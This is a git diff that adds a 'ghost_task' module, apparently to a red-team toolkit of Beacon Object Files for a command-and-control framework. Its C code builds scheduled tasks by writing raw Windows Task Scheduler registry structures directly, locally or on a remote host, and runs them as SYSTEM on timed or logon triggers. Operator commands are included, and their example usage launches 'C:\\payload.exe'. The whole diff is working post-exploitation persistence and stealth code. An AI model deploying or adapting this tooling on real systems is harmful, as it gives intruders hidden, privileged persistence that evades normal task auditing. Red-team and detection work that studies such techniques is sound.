*)malloc(GUIDSIZE + 1); + sprintf(fullGuid, "{%s}", szRPCGuid); + RpcStringFreeA(&szRPCGuid); + _strupr(fullGuid); + } + else + { + BeaconPrintf(CALLBACK_ERROR, "GUID cannot be generated."); + goto exit; + } + } + + // Update GUID path + plainKey = (char *)malloc(taskPathSize + plainSize + GUIDSIZE + 1); + taskKey = (char *)malloc(taskPathSize + taskSize + GUIDSIZE + 1); + sprintf(plainKey, "%s%s%s", taskPath, plain, fullGuid); + sprintf(taskKey, "%s%s%s", taskPath, task, fullGuid); + + // Initialize Actions + action->version = legacyActionVersion ? 0x2 : 0x3; + action->sizeOfAuthor = sizeOfAuthor; + memcpy(action->author, author, action->sizeOfAuthor); + action->magic = 0x6666; + action->id = 0; + action->sizeOfCmd = sizeOfCmd; + action->cmd = cmd_w; + action->sizeOfArgument = sizeOfArgument; + action->argument = argument_w; + action->sizeOfWorkingDirectory = sizeOfWorkingDirectory; + action->workingDirectory = workingDirectory_w; + action->flags = 0; + + totalActionSize = sizeof(short) + sizeof(DWORD) + sizeOfAuthor + sizeof(short) + sizeof(DWORD) + sizeof(DWORD) + sizeOfCmd + sizeof(DWORD) + sizeOfArgument + sizeof(DWORD) + sizeOfWorkingDirectory + sizeof(short); + actionRaw = (BYTE *)malloc(totalActionSize); + BYTE *ptr = actionRaw; + COPY_DATA(ptr, &action->version, sizeof(short)); + COPY_DATA(ptr, &action->sizeOfAuthor, sizeof(DWORD)); + COPY_DATA(ptr, action->author, action->sizeOfAuthor); + COPY_DATA(ptr, &action->magic, sizeof(short)); + COPY_DATA(ptr, &action->id, sizeof(DWORD)); + COPY_DATA(ptr, &action->sizeOfCmd, sizeof(DWORD)); + COPY_DATA(ptr, action->cmd, sizeOfCmd); + COPY_DATA(ptr, &action->sizeOfArgument, sizeof(DWORD)); + COPY_DATA(ptr, action->argument, sizeOfArgument); + COPY_DATA(ptr, &action->sizeOfWorkingDirectory, sizeof(DWORD)); + COPY_DATA(ptr, action->workingDirectory, sizeOfWorkingDirectory); + COPY_DATA(ptr, &action->flags, sizeof(short)); + + // Initialize DynamicInfo + GetLocalTime(&st); + SystemTimeToFileTime(&st, &ft); + dynamicInfo.magic = 0x3; + dynamicInfo.ftCreate = ft; + // Will be displayed in "Last Run Time" in taskschd.msc + dynamicInfo.ftLastRun = emptyTime; + dynamicInfo.dwTaskState = 0; + // Will be displayed in "Last Run Result" in taskschd.msc + dynamicInfo.dwLastErrorCode = 0; + dynamicInfo.ftLastSuccessfulRun = emptyTime; + + // Initialize Date + sprintf(dateString, "%04d-%02d-%02dT%02d:%02d:%02d", st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond); + + // Initialize UserInfo + skipUser.value = 0; + skipSid.value = 0; + memset(skipUser.padding, 0x48, 7); + memset(skipSid.padding, 0x48, 7); + if (sizeOfSid == 12) + { + userInfo12.skipUser = skipUser; + userInfo12.skipSid = skipSid; + userInfo12.sidType = 0x1; + userInfo12.pad0 = 0x48484848; + userInfo12.sizeOfSid = sizeOfSid; + userInfo12.pad1 = 0x48484848; + memcpy(userInfo12.sid, targetSid, sizeOfSid); + userInfo12.pad2 = 0x48484848; + userInfo12.sizeOfUsername = 0; + userInfo12.pad3 = 0x48484848; + } + else + { + userInfo28.skipUser = skipUser; + userInfo28.skipSid = skipSid; + userInfo28.sidType = 0x1; + userInfo28.pad0 = 0x48484848; + userInfo28.sizeOfSid = sizeOfSid; + userInfo28.pad1 = 0x48484848; + memcpy(userInfo28.sid, targetSid, sizeOfSid); + userInfo28.pad2 = 0x48484848; + userInfo28.sizeOfUsername = 0; + userInfo28.pad3 = 0x48484848; + } + + // Initialize OptionalSettings + // Default value 10 minutes + optionalSettings.idleDurationSeconds = 0x258; + // Default value 1 hour + optionalSettings.idleWaitTimeoutSeconds = 0xe10; + // Default value 3 days + optionalSettings.executionTimeLimitSeconds = 0x3f480; + optionalSettings.deleteExpiredTaskAfter = 0xffffffff; + // Default value is 7 BELOW_NORMAL_PRIORITY_CLASS + optionalSettings.priority = 0x7; + optionalSettings.restartOnFailureDelay = 0; + optionalSettings.restartOnFailureRetries = 0; + GUID emptyNetworkId; + memset(&emptyNetworkId, 0, sizeof(GUID)); + optionalSettings.networkId = emptyNetworkId; + optionalSettings.pad0 = 0x48484848; + + // Initialize Header + version.value = 0x17; + memset(version.padding, 0, 7); + header.version = version; + + // Initialize Trigger + if (scheduleType == 3) + { + trigger12 = (Trigger12 *)malloc(sizeof(Trigger12) + sizeof(LogonTrigger)); + trigger28 = (Trigger28 *)malloc(sizeof(Trigger28) + sizeof(LogonTrigger)); + logonTrigger.magic = 0xaaaa; + logonTrigger.unknown0 = 0; + logonTrigger.startBoundary = emptyTstime; + logonTrigger.endBoundary = emptyTstime; + logonTrigger.delaySeconds = 0; + logonTrigger.timeoutSeconds = 0xffffffff; + logonTrigger.repetitionIntervalSeconds = 0; + logonTrigger.repetitionDurationSeconds = 0; + logonTrigger.repetitionDurationSeconds2 = 0; + logonTrigger.stopAtDurationEnd = 0; + enable.value = 1; + memset(enable.padding, 0, 7); + logonTrigger.enabled = enable; + logonTrigger.unknown1 = empty; + logonTrigger.triggerId = 0; + logonTrigger.blockPadding = 0x48484848; + skipUser.value = 1; + logonTrigger.skipUser = skipUser; + } + else + { + trigger12 = (Trigger12 *)malloc(sizeof(Trigger12) + sizeof(TimeTrigger)); + trigger28 = (Trigger28 *)malloc(sizeof(Trigger28) + sizeof(TimeTrigger)); + timeTrigger.magic = 0xdddd; + timeTrigger.unknown0 = 0; + timeTrigger.endBoundary = emptyTstime; + timeTrigger.unknown1 = emptyTstime; + if (scheduleType == 0) + { + tsStartBoundary.time = ft; + timeTrigger.repetitionIntervalSeconds = second; + } + else + timeTrigger.repetitionIntervalSeconds = 0; + timeTrigger.startBoundary = tsStartBoundary; + timeTrigger.repetitionDurationSeconds = 0; + timeTrigger.timeoutSeconds = 0xffffffff; + // Schedule type 0: secondly + if (scheduleType == 0) + { + timeTrigger.mode = 0; + timeTrigger.data1 = 0; + // Schedule type 1: daily + } + else if (scheduleType == 1) + { + timeTrigger.mode = 1; + timeTrigger.data1 = 0; + // Schedule type 2: weekly + } + else if (scheduleType == 2) + { + timeTrigger.mode = 2; + timeTrigger.data1 = dayBitmap; + } + timeTrigger.data0 = 1; + timeTrigger.data2 = 0; + timeTrigger.pad0 = 0; + timeTrigger.stopTasksAtDurationEnd = 0; + timeTrigger.enabled = 1; + timeTrigger.pad1 = 0; + timeTrigger.unknown2 = 1; + timeTrigger.maxDelaySeconds = 0; + timeTrigger.pad2 = 0; + timeTrigger.triggerId = 0x4848484800000000; + } + + if (sizeOfSid == 12) + { + // 0x40000000: allow_hard_terminate + // 0x2000000: task + // 0x400000: enabled + // 0x10000: logon_type_interactivetoken + // 0x2000: execute_ignore_new + // 0x100: allow_start_on_demand + // 0x8: stop_on_idle_end + jobBucket12.flags = 0x42412108; + jobBucket12.pad0 = 0x48484848; + jobBucket12.crc32 = 0; + jobBucket12.pad1 = 0x48484848; + jobBucket12.sizeOfAuthor = 0xe; + jobBucket12.pad2 = 0x48484848; + memcpy(jobBucket12.author, author, 12); + jobBucket12.pad3 = 0x48480000; + jobBucket12.displayName = 0; + jobBucket12.pad4 = 0x48484848; + jobBucket12.userInfo = userInfo12; + jobBucket12.sizeOfOptionalSettings = 0x2c; + jobBucket12.pad5 = 0x48484848; + jobBucket12.optionalSettings = optionalSettings; + + trigger12->header = header; + trigger12->jobBucket = jobBucket12; + if (scheduleType == 3) + memcpy(trigger12->trigger, &logonTrigger, sizeof(LogonTrigger)); + else + memcpy(trigger12->trigger, &timeTrigger, sizeof(TimeTrigger)); + } + else + { + // 0x40000000: allow_hard_terminate + // 0x2000000: task + // 0x400000: enabled + // 0x10000: logon_type_interactivetoken + // 0x2000: execute_ignore_new + // 0x100: allow_start_on_demand + // 0x8: stop_on_idle_end + jobBucket28.flags = 0x42412108; + jobBucket28.pad0 = 0x48484848; + jobBucket28.crc32 = 0; + jobBucket28.pad1 = 0x48484848; + jobBucket28.sizeOfAuthor = 0xe; + jobBucket28.pad2 = 0x48484848; + memcpy(jobBucket28.author, author, 12); + jobBucket28.pad3 = 0x48480000; + jobBucket28.displayName = 0; + jobBucket28.pad4 = 0x48484848; + jobBucket28.userInfo = userInfo28; + jobBucket28.sizeOfOptionalSettings = 0x2c; + jobBucket28.pad5 = 0x48484848; + jobBucket28.optionalSettings = optionalSettings; + + trigger28->header = header; + trigger28->jobBucket = jobBucket28; + if (scheduleType == 3) + memcpy(trigger28->trigger, &logonTrigger, sizeof(LogonTrigger)); + else + memcpy(trigger28->trigger, &timeTrigger, sizeof(TimeTrigger)); + } + + // Initialize security descriptor + ConvertStringSecurityDescriptorToSecurityDescriptorA("O:BAG:SYD:", 1, &pSd, &sdLength); + + BeaconPrintf(CALLBACK_OUTPUT, "Execution Log:\n"); + // Create scheduled task subkey + REG_ERROR_CODE regRetCode = AddKey(computerName, plainKey); + if (regRetCode != REG_SUCCESS) + goto exit; + regRetCode = AddKey(computerName, treeKey); + if (regRetCode != REG_SUCCESS) + goto exit; + regRetCode = AddKey(computerName, taskKey); + if (regRetCode != REG_SUCCESS) + goto exit; + + hKeyTree = NULL; + REG_ERROR_CODE treeRegRetCode = OpenKeyHandle(&hKeyTree, computerName, KEY_QUERY_VALUE | KEY_SET_VALUE, treeKey); + hKeyTask = NULL; + REG_ERROR_CODE taskRegRetCode = OpenKeyHandle(&hKeyTask, computerName, KEY_QUERY_VALUE | KEY_SET_VALUE, taskKey); + + if (treeRegRetCode != REG_SUCCESS || taskRegRetCode != REG_SUCCESS) + { + BeaconPrintf(CALLBACK_ERROR, "Unable to obtain scheduled task key handle."); + goto exit; + } + + // Add values for task tree + AddValue(hKeyTree, computerName, treeKey, "Index", 0x4, 4, (LPBYTE)&index, false); + AddValue(hKeyTree, computerName, treeKey, "Id", 0x1, strlen(fullGuid) + 1, (LPBYTE)fullGuid, false); + AddValue(hKeyTree, computerName, treeKey, "SD", REG_BINARY, sdLength, (LPBYTE)pSd, false); + + // Add values for Task GUID + AddValue(hKeyTask, computerName, taskKey, "Author", 0x1, strlen(userName) + 1, (char *)userName, false); + AddValue(hKeyTask, computerName, taskKey, "Path", 0x1, strlen(uriPath) + 1, (char *)uriPath, false); + AddValue(hKeyTask, computerName, taskKey, "URI", 0x1, strlen(uriPath) + 1, (char *)uriPath, false); + AddValue(hKeyTask, computerName, taskKey, "Date", 0x1, strlen(dateString) + 1, (char *)dateString, false); + + if (legacyActionVersion) + AddValue(hKeyTask, computerName, taskKey, "Actions", REG_BINARY, totalActionSize - 2, (LPBYTE)actionRaw, true); + else + AddValue(hKeyTask, computerName, taskKey, "Actions", REG_BINARY, totalActionSize, (LPBYTE)actionRaw, true); + + AddValue(hKeyTask, computerName, taskKey, "DynamicInfo", REG_BINARY, sizeof(DynamicInfo), (LPBYTE)&dynamicInfo, false); + if (sizeOfSid == 12) + { + if (scheduleType == 3) + AddValue(hKeyTask, computerName, taskKey, "Triggers", REG_BINARY, sizeof(Trigger12) + sizeof(LogonTrigger), (LPBYTE)trigger12, true); + else + AddValue(hKeyTask, computerName, taskKey, "Triggers", REG_BINARY, sizeof(Trigger12) + sizeof(TimeTrigger), (LPBYTE)trigger12, true); + } + else + { + if (scheduleType == 3) + AddValue(hKeyTask, computerName, taskKey, "Triggers", REG_BINARY, sizeof(Trigger28) + sizeof(LogonTrigger), (LPBYTE)trigger28, true); + else + AddValue(hKeyTask, computerName, taskKey, "Triggers", REG_BINARY, sizeof(Trigger28) + sizeof(TimeTrigger), (LPBYTE)trigger28, true); + } + + BeaconPrintf(CALLBACK_OUTPUT, "Scheduled task has been created with the following setup:"); + if (computerName != NULL) + BeaconPrintf(CALLBACK_OUTPUT, "%-30s %s", "Target Computer Name:", computerName); + BeaconPrintf(CALLBACK_OUTPUT, "%-30s %s", "Task Name:", taskName); + BeaconPrintf(CALLBACK_OUTPUT, "%-30s %s", "Task GUID:", fullGuid); + BeaconPrintf(CALLBACK_OUTPUT, "%-30s %s", "User to execute the task:", userName); + BeaconPrintf(CALLBACK_OUTPUT, "%-30s %s %s", "Action:", cmd, argument); + if (scheduleType == 0) + { + BeaconPrintf(CALLBACK_OUTPUT, "%-30s second", "Schedule Type:"); + BeaconPrintf(CALLBACK_OUTPUT, "%-30s every %d seconds", "Execution Time:", second); + } + else if (scheduleType == 1) + { + BeaconPrintf(CALLBACK_OUTPUT, "%-30s daily", "Schedule Type:"); + BeaconPrintf(CALLBACK_OUTPUT, "%-30s %02d:%02d", "Execution Time:", hour, minute); + } + else if (scheduleType == 2) + { + BeaconPrintf(CALLBACK_OUTPUT, "%-30s weekly", "Schedule Type:"); + BeaconPrintf(CALLBACK_OUTPUT, "%-30s %02d:%02d", "Execution Time:", hour, minute); + } + else if (scheduleType == 3) + BeaconPrintf(CALLBACK_OUTPUT, "%-30s logon", "Schedule Type:"); + + if (computerName == NULL) + BeaconPrintf(CALLBACK_OUTPUT, "%-30s ghost_task_delete -n \"%s\"", "Task Deletion Command:", taskName); + else + BeaconPrintf(CALLBACK_OUTPUT, "%-30s ghost_task_delete -n \"%s\"", "Task Deletion Command:", computerName, taskName); + + // Close key + RegCloseKey(hKeyTree); + RegCloseKey(hKeyTask); +exit: + free(actionRaw); + free(action); + free(uriPath); + free(treeKey); + free(plainKey); + free(taskKey); + free(fullGuid); + free(trigger12); + free(trigger28); +} + +// Add func end + +// Del func start + +REG_ERROR_CODE DeleteKey(LPCSTR computerName, LPCSTR keyName) +{ + bool deleteFromRoot = false; + DWORD lastSlashOffset = 0; + const char *lastSlash = my_strrchr((const char *)keyName, '\\'); + + if (lastSlash == NULL) + deleteFromRoot = true; + else + lastSlashOffset = (DWORD)(lastSlash - keyName); + + char ParentKeyName[256]; + char ChildKeyName[256]; + if (deleteFromRoot) + { + ParentKeyName[0] = 0; + my_strncpy_s(ChildKeyName, 256, keyName, strlen(keyName)); + } + else + { + my_strncpy_s(ParentKeyName, 256, keyName, lastSlashOffset); + my_strncpy_s(ChildKeyName, 256, lastSlash + 1, strlen(keyName) - lastSlashOffset - 1); + } + + HKEY hParentKey = NULL; + REG_ERROR_CODE regRetCode = OpenKeyHandle(&hParentKey, computerName, DELETE | KEY_ENUMERATE_SUB_KEYS | KEY_QUERY_VALUE, ParentKeyName); + if (regRetCode != REG_SUCCESS) + return regRetCode; + + const char *hiveRootString = "HKLM"; + const char *rootSeparator = (strlen(keyName) == 0) ? "" : "\\"; + const char *computerString = computerName == NULL ? "" : computerName; + const char *computerNameSeparator = computerName == NULL ? "" : "\\"; + + LSTATUS lret = RegDeleteTreeA(hParentKey, ChildKeyName); + + RegCloseKey(hParentKey); + + if (lret != ERROR_SUCCESS) + { + BeaconPrintf(CALLBACK_ERROR, "Failed to delete key '%s%s%s%s%s' [error %d].\n", computerString, computerNameSeparator, hiveRootString, rootSeparator, keyName, lret); + return DEL_KEY_FAIL; + } + BeaconPrintf(CALLBACK_OUTPUT, "Deleted key '%s%s%s%s%s'.", computerString, computerNameSeparator, hiveRootString, rootSeparator, keyName); + return REG_SUCCESS; +} + +void DeleteScheduleTask(LPCSTR computerName, LPCSTR taskName) +{ + char *plain = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Plain\\"; + char *task = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tasks\\"; + char *tree = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tree\\"; + char treeKey[MAX_PATH]; + char *fullGuid = NULL; + HKEY hKeyTree = NULL; + + sprintf(treeKey, "%s%s", tree, taskName); + REG_ERROR_CODE regRetCode = OpenKeyHandle(&hKeyTree, computerName, KEY_QUERY_VALUE, treeKey); + if (regRetCode == SERVER_INACCESSIBLE) + return; + if (regRetCode == OPEN_KEY_FAIL) + { + BeaconPrintf(CALLBACK_ERROR, "The scheduled task does not exist."); + return; + } + RegCloseKey(hKeyTree); + fullGuid = GetExistingTaskGuid(computerName, taskName); + regRetCode = DeleteKey(computerName, treeKey); + if (fullGuid != NULL) + { + char plainKey[MAX_PATH]; + char taskKey[MAX_PATH]; + sprintf(plainKey, "%s%s", plain, fullGuid); + sprintf(taskKey, "%s%s", task, fullGuid); + regRetCode = DeleteKey(computerName, plainKey); + regRetCode = DeleteKey(computerName, taskKey); + } + BeaconPrintf(CALLBACK_OUTPUT, "Successfully deleted scheduled task (%s).\n", taskName); +} diff --git a/SAR-BOF/ghost_task/src/ghost_task.h b/SAR-BOF/ghost_task/src/ghost_task.h new file mode 100644 index 0000000..c8e9d16 --- /dev/null +++ b/SAR-BOF/ghost_task/src/ghost_task.h @@ -0,0 +1,204 @@ +#include +#include +#include +#include +#include + +typedef enum _REG_ERROR_CODE { + REG_SUCCESS = 0, + SERVER_INACCESSIBLE = 1, + OPEN_KEY_FAIL = 2, + ADD_KEY_FAIL = 3, + DEL_KEY_FAIL = 4 +} REG_ERROR_CODE; + +typedef enum _TASK_OPERATION { + TaskAddOperation, + TaskDeleteOperation +} TASK_OPERATION, * PTASK_OPERATION; + +typedef struct Arguments { + LPCSTR computerName; + TASK_OPERATION taskOperation; + LPCSTR taskName; + LPCSTR program; + LPCSTR argument; + LPCSTR userName; + unsigned short scheduleType; + int hour; + int minute; + int second; + unsigned short dayBitmap; +} Arguments; + +// Below data structures took reference from https://cyber.wtf/2022/06/01/windows-registry-analysis-todays-episode-tasks/ +typedef struct DynamicInfo { + DWORD magic; + FILETIME ftCreate; + FILETIME ftLastRun; + DWORD dwTaskState; + DWORD dwLastErrorCode; + FILETIME ftLastSuccessfulRun; +} DynamicInfo; + +// Execution Action +typedef struct Actions { + short version; + DWORD sizeOfAuthor; // 0xc + BYTE author[12]; + short magic; + DWORD id; + DWORD sizeOfCmd; + wchar_t* cmd; + DWORD sizeOfArgument; + wchar_t* argument; + DWORD sizeOfWorkingDirectory; + wchar_t* workingDirectory; + short flags; +} Actions; + +typedef struct AlignedByte { + BYTE value; + BYTE padding[7]; +} AlignedByte; + +typedef struct TSTIME { + AlignedByte isLocalized; + FILETIME time; +} TSTIME; + +// Total size is 0x68 +typedef struct TimeTrigger { + uint32_t magic; + DWORD unknown0; + TSTIME startBoundary; + TSTIME endBoundary; + TSTIME unknown1; + DWORD repetitionIntervalSeconds; + DWORD repetitionDurationSeconds; + DWORD timeoutSeconds; + DWORD mode; + short data0; + short data1; + short data2; + short pad0; + byte stopTasksAtDurationEnd; + byte enabled; + short pad1; + DWORD unknown2; + DWORD maxDelaySeconds; + DWORD pad2; + uint64_t triggerId; +} TimeTrigger; + +// Total size is 0x60 +typedef struct LogonTrigger { + uint32_t magic; + DWORD unknown0; + TSTIME startBoundary; + TSTIME endBoundary; + DWORD delaySeconds; + DWORD timeoutSeconds; + DWORD repetitionIntervalSeconds; + DWORD repetitionDurationSeconds; + DWORD repetitionDurationSeconds2; + DWORD stopAtDurationEnd; + AlignedByte enabled; + AlignedByte unknown1; + DWORD triggerId; + DWORD blockPadding; + AlignedByte skipUser; // 0x00 0x48484848484848 +} LogonTrigger; + +typedef struct Header { + AlignedByte version; + TSTIME startBoundary; // The earliest startBoundary of all triggers + TSTIME endBoundary; // The latest endBoundary of all triggers +} Header; + +// Local accounts +typedef struct UserInfo12 { + AlignedByte skipUser; // 0x00 0x48484848484848 + AlignedByte skipSid; // 0x00 0x48484848484848 + DWORD sidType; // 0x1 + DWORD pad0; // 0x48484848 + DWORD sizeOfSid; + DWORD pad1; // 0x48484848 + BYTE sid[12]; + DWORD pad2; // 0x48484848 + DWORD sizeOfUsername; // can be 0 + DWORD pad3; // 0x48484848 +} UserInfo12; + +// Domain accounts +typedef struct UserInfo28 { + AlignedByte skipUser; // 0x00 0x48484848484848 + AlignedByte skipSid; // 0x00 0x48484848484848 + DWORD sidType; // 0x1 + DWORD pad0; // 0x48484848 + DWORD sizeOfSid; + DWORD pad1; // 0x48484848 + BYTE sid[28]; + DWORD pad2; // 0x48484848 + DWORD sizeOfUsername; // can be 0 + DWORD pad3; // 0x48484848 +} UserInfo28; + +typedef struct OptionalSettings { + DWORD idleDurationSeconds; + DWORD idleWaitTimeoutSeconds; + DWORD executionTimeLimitSeconds; + DWORD deleteExpiredTaskAfter; + DWORD priority; + DWORD restartOnFailureDelay; + DWORD restartOnFailureRetries; + GUID networkId; + // Padding for networkId + DWORD pad0; +} OptionalSettings; + +typedef struct JobBucket12 { + DWORD flags; + DWORD pad0; // 0x48484848 + DWORD crc32; + DWORD pad1; // 0x48484848 + DWORD sizeOfAuthor; // 0xe + DWORD pad2; // 0x48484848 + BYTE author[12]; // Author + DWORD pad3; + DWORD displayName; + DWORD pad4; // 0x48484848 + UserInfo12 userInfo; + DWORD sizeOfOptionalSettings; + DWORD pad5; + OptionalSettings optionalSettings; +} JobBucket12; + +typedef struct JobBucket28 { + DWORD flags; + DWORD pad0; // 0x48484848 + DWORD crc32; + DWORD pad1; // 0x48484848 + DWORD sizeOfAuthor; // 0xe + DWORD pad2; // 0x48484848 + BYTE author[12]; // Author + DWORD pad3; + DWORD displayName; + DWORD pad4; // 0x48484848 + UserInfo28 userInfo; + DWORD sizeOfOptionalSettings; + DWORD pad5; + OptionalSettings optionalSettings; +} JobBucket28; + +typedef struct Trigger12 { + Header header; + JobBucket12 jobBucket; + BYTE trigger[]; +} Trigger12; + +typedef struct Trigger28 { + Header header; + JobBucket28 jobBucket; + BYTE trigger[]; +} Trigger28; \ No newline at end of file diff --git a/SAR-BOF/sar.axs b/SAR-BOF/sar.axs index c1fb787..f63b26e 100644 --- a/SAR-BOF/sar.axs +++ b/SAR-BOF/sar.axs @@ -5,6 +5,68 @@ var metadata = { ax.script_import(ax.script_dir() + "EdrEnum-BOF/edr.axs") +// ************************ ghost_task ************************ + +var cmd_ghost_add = ax.create_command( + "ghost_task_add", + "Create a ghost scheduled task via registry (requires SYSTEM).", + "ghost_task_add -n TaskName -p C:\\\\Windows\\\\System32\\\\cmd.exe -a \"/c whoami\" -s second -t 30 | ghost_task_add -n TaskName -p C:\\\\payload.exe -s daily -t 22:30 -u SYSTEM | ghost_task_add -n TaskName -p C:\\\\payload.exe -s weekly -t 09:00 -d monday,friday"); +cmd_ghost_add.addArgFlagString("-n", "taskname", "Scheduled task name"); +cmd_ghost_add.addArgFlagString("-p", "program", "Executable path"); +cmd_ghost_add.addArgFlagString("-s", "stype", "Trigger: second | daily | weekly | logon"); +cmd_ghost_add.addArgFlagString("-t", "time", "HH:MM (daily/weekly) or N seconds (second)", "0"); +cmd_ghost_add.addArgFlagString("-u", "username", "User to run the task as", "SYSTEM"); +cmd_ghost_add.addArgFlagString("-a", "argument", "Arguments for the executable", ""); +cmd_ghost_add.addArgFlagString("-d", "days", "Days for weekly trigger (ex: monday,friday)", "monday"); +cmd_ghost_add.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) { + var taskname = parsed_json["taskname"] || ""; + var program = parsed_json["program"] || ""; + var stype = parsed_json["stype"] || ""; + var time_val = parsed_json["time"] || "0"; + var username = parsed_json["username"] || "SYSTEM"; + var argument = parsed_json["argument"] || ""; + var days = parsed_json["days"] || "monday"; + if (!taskname) { ax.console_message(id, "missing -n ", "error"); return; } + if (!program) { ax.console_message(id, "missing -p ", "error"); return; } + if (!stype) { ax.console_message(id, "missing -s : second | daily | weekly | logon", "error"); return; } + var stype_lower = stype.toLowerCase(); + var pack_types, pack_args; + if (stype_lower === "weekly") { + pack_types = "int,cstr,cstr,cstr,cstr,cstr,cstr,cstr,cstr"; + pack_args = [9, "add", taskname, program, argument, username, stype, time_val, days]; + } else if (stype_lower === "logon") { + pack_types = "int,cstr,cstr,cstr,cstr,cstr,cstr"; + pack_args = [7, "add", taskname, program, argument, username, stype]; + } else { + pack_types = "int,cstr,cstr,cstr,cstr,cstr,cstr,cstr"; + pack_args = [8, "add", taskname, program, argument, username, stype, time_val]; + } + var bof_path = ax.script_dir() + "_bin/GhostTask." + ax.arch(id) + ".o"; + var bof_params = ax.bof_pack(pack_types, pack_args); + if (!ax.file_exists(bof_path)) { ax.console_message(id, "BOF not found: " + bof_path, "error"); return; } + ax.execute_alias(id, cmdline, + `execute bof ${bof_path} ${bof_params}`, + "Task: GhostTask add [" + taskname + "]", null); +}); + +var cmd_ghost_delete = ax.create_command( + "ghost_task_delete", + "Delete a ghost scheduled task from the registry (requires SYSTEM). [NOISE: low]", + "ghost_task_delete -n TaskName"); +cmd_ghost_delete.addArgFlagString("-n", "taskname", "Name of the task to delete"); +cmd_ghost_delete.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) { + var taskname = parsed_json["taskname"] || ""; + if (!taskname) { ax.console_message(id, "missing -n ", "error"); return; } + var bof_path = ax.script_dir() + "_bin/GhostTask." + ax.arch(id) + ".o"; + var bof_params = ax.bof_pack("int,cstr,cstr", [3, "delete", taskname]); + if (!ax.file_exists(bof_path)) { ax.console_message(id, "BOF not found: " + bof_path, "error"); return; } + ax.execute_alias(id, cmdline, + `execute bof ${bof_path} ${bof_params}`, + "Task: GhostTask delete [" + taskname + "]", null); +}); + + +// ************************ ghost_task end ************************ var cmd_smartscan = ax.create_command("smartscan", "Smart port scan", "smartscan 192.168.1.1 -p 80,443,22-25"); @@ -160,5 +222,5 @@ cmd_nbtscan.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) { } }); -var group_test = ax.create_commands_group("SAR-BOF", [cmd_enum_edr, cmd_smartscan, cmd_taskhound, cmd_quser, cmd_nbtscan]); -ax.register_commands_group(group_test, ["beacon", "gopher", "kharon"], ["windows"], []); \ No newline at end of file +var group_test = ax.create_commands_group("SAR-BOF", [cmd_enum_edr, cmd_smartscan, cmd_taskhound, cmd_quser, cmd_nbtscan, cmd_ghost_add, cmd_ghost_delete]); +ax.register_commands_group(group_test, ["beacon", "gopher", "kharon"], ["windows"], []);